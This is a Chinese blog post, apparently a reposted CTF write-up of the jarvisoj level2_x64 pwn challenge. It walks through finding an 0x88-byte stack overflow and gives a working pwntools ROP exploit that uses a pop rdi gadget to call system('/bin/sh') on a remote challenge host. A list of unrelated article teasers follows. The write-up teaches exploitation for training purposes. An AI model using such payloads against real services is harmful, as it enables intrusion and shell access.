PWN手的成长之路-15-jarvisoj_level2_x64

news/2025/10/12 16:10:45/文章来源:https://www.cnblogs.com/B0rry/p/19136770

image

file:
image

checksec:
image

查看 main 函数:
image
main 函数调用了 vulnerable_fuction() 函数,并且存在 system() 函数,尝试查找是否存在 /bin/sh 字符串。

shift + F12 发现存在 /bin/sh 字符串。
image

查看vulnerable_fuction() 函数:
image
存在溢出点。

溢出大小为:0x80+8
image

因为64位与32位的程序调用有所不同,32 位的参数是直接通过栈来进行传递的,而64位的程序则是通过 rdi,rsi,rdx,rcx,r8,r9寄存器依次传递的,而多余的参数才会通过栈传递,所以我们在构造 exp 的时候,就需要多加一个 rdi 寄存器的地址。

开始编写exp:

from pwn import *
r=remote('node5.buuoj.cn',29041)
context.arch='amd64'
context.os='Linux'binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr=0x4006B3    #ROPgadget --binary pwn | grep rdi得到的payload=cyclic(0x80+0x8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()

得到了 flag。
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935511.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025.10.12——1绿

普及+/提高 P8818 [CSP-S 2022] 策略游戏 线段树+贪心,但是这个贪心刚开始没写出来卡95,看题解重写贪心AC。

价值博弈场的工程实现:构建数字文明的价值免疫系统——声明Ai生成

价值博弈场的工程实现:构建数字文明的价值免疫系统——声明Ai生成 ——技术圈外人 在人工智能技术飞速发展的今天,我们正面临着一个根本性的挑战:如何让AI系统不仅能够执行任务,更能理解和协调人类复杂的价值体系。…

基于 Rust 的英文数字验证码识别系统设计与实现

一、引言 验证码(Completely Automated Public Turing test to tell Computers and Humans Apart, CAPTCHA)是区分人类与自动程序的重要技术手段。 随着 OCR 与深度学习的普及,传统验证码逐渐面临被机器识别的风险。…

2025年两联供室内机厂家最新权威推荐榜:技术实力与市场口碑

2025年两联供室内机厂家最新权威推荐榜:技术实力与市场口碑随着建筑节能标准的不断提升和人们对室内环境舒适度要求的日益增长,两联供系统在暖通空调领域的应用越来越广泛。作为两联供系统的核心组成部分,室内机的性…

2025武汉商铺装修防水厂家最新权威推荐榜:专业施工与品质保

2025武汉商铺装修防水厂家最新权威推荐榜:专业施工与品质保在商铺装修领域,防水工程作为确保建筑安全和使用寿命的关键环节,其重要性不言而喻。随着城市化进程加速和商业空间需求增长,防水行业在2025年迎来了新的技…

2025铝合金微弧氧化厂家权威推荐榜:表面处理技术实力深度解

2025铝合金微弧氧化厂家权威推荐榜:表面处理技术实力深度解行业背景与发展现状铝合金微弧氧化技术作为表面处理领域的重要工艺,近年来在航空航天、汽车制造、电子设备等行业得到广泛应用。这项技术通过在铝合金表面产…

2025杉木木方厂家最新权威推荐榜:优质木材与稳定供应口碑之

2025杉木木方厂家最新权威推荐榜:优质木材与稳定供应口碑之选在建筑行业持续发展的背景下,杉木木方作为重要的建筑材料,其质量与供应稳定性直接影响工程进度与安全。近年来,随着环保政策的收紧和市场需求的变化,杉…

2025年厂房保养厂家最新权威推荐榜:专业维护与成本控制优选

2025年厂房保养厂家最新权威推荐榜:专业维护与成本控制优选随着制造业转型升级步伐加快,工业厂房作为生产活动的重要载体,其维护保养质量直接关系到生产效率、设备寿命及安全生产。近年来,厂房保养行业呈现出专业化…

使用C语言实现重写stm32的启动文件

适用型号:stm32f103c8t6 编译器:GCC 传统的启动文件使用汇编语言实现,可读性很低,现在分析其内容,使用C语言重新实现一遍。 首先附上成品,使用C23标准: #include <stddef.h> #include <stdint.h> #…

LeetCode 387 字符串中的第一个唯一字符 Swift 题解:用哈希表快速定位不重复字符 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

详细介绍:基于微信小程序的智能在线预约挂号系统【2026最新】

详细介绍:基于微信小程序的智能在线预约挂号系统【2026最新】pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Con…

2025中医师承权威推荐榜:名师带徒与临床实践深度解析

2025中医师承权威推荐榜:名师带徒与临床实践深度解析随着中医药事业的蓬勃发展,中医师承教育作为传统医学传承的重要方式,正受到越来越多从业者的关注。师承教育不仅延续了中医"传帮带"的优良传统,更通过…

让我们开始 CSS 的学习之旅

通过使用 HTML4.0,所有的格式化代码均可移出 HTML 文档,然后移入一个独立的样式表。 实例 HTML中的样式 (https://www.w3school.com.cn/tiy/t.asp?f=eg_html_style) 本例演示如何使用添加到 部分的样式信息对 HTML…

2025液压无损扒胎机厂家权威推荐榜:高效无损与耐用性能深度

2025液压无损扒胎机厂家权威推荐榜:高效无损与耐用性能深度在汽车维修与轮胎服务行业,液压无损扒胎机作为关键设备,其技术性能与耐用程度直接影响着作业效率和服务质量。随着2025年行业技术标准的提升,高效无损操作…

Linux环境下的UDEV机制及其与守护进程的关联

UDEV(用户空间设备管理器)是Linux内核的一部分,负责管理设备节点的创建和销毁。它是一个动态系统,用于处理内核发出的设备事件。当系统中添加或移除硬件时,UDEV负责在 /dev目录下创建或删除相应的节点。 在Linux启…

在Red Hat Enterprise Linux 9上使用Docker快速安装并部署

在Red Hat Enterprise Linux 9上使用Docker快速安装并部署RocketMQ,可以显著简化消息队列系统的搭建过程。以下是详细步骤,包括必要的命令和配置文件示例。 步骤一:安装Docker更新系统软件包 sudo dnf update -y安装…

[转] 基于ubuntu-base进行根文件系统的修改与打包

前言全局说明网络上的东西可能随时消失,转载备份,方便后来人需要查看原文网址:https://blog.csdn.net/sements/article/details/105240490对了,我最近开通了微信公众号,计划是两边会同步更新,并逐步的会将博客上…

jquery 字符串转数字

在JavaScript编程中,字符串到数字的转换是一项基础而重要的操作,尤其是在处理用户输入或执行数学运算的场景中。尽管jQuery主要聚焦于DOM操作和事件处理,但JavaScript原生提供的几个方法就能高效地完成这一转换任务…

AI圈每日技术学习---紧跟时代脚步(N8n工作流)

今天讲的是n8n工作流 n8n堪称目前最热门的工作流自动化工具之一,在GitHub上的Star数已达140k。它兼具强大功能与高度灵活性,通过基于节点的可视化编辑方式,让用户能够轻松连接各类应用与服务,快速实现自动化流程搭…

B -识别浮点常量问题

B - 识别浮点常量问题B - 识别浮点常量问题 Description编译器在对程序进行编译之前,首先要进行语法分析。通常,程序被分解成若干个小单元,然后和语言的语法模式进行匹配。在分析表达式的时候,变量的类型在变量声明…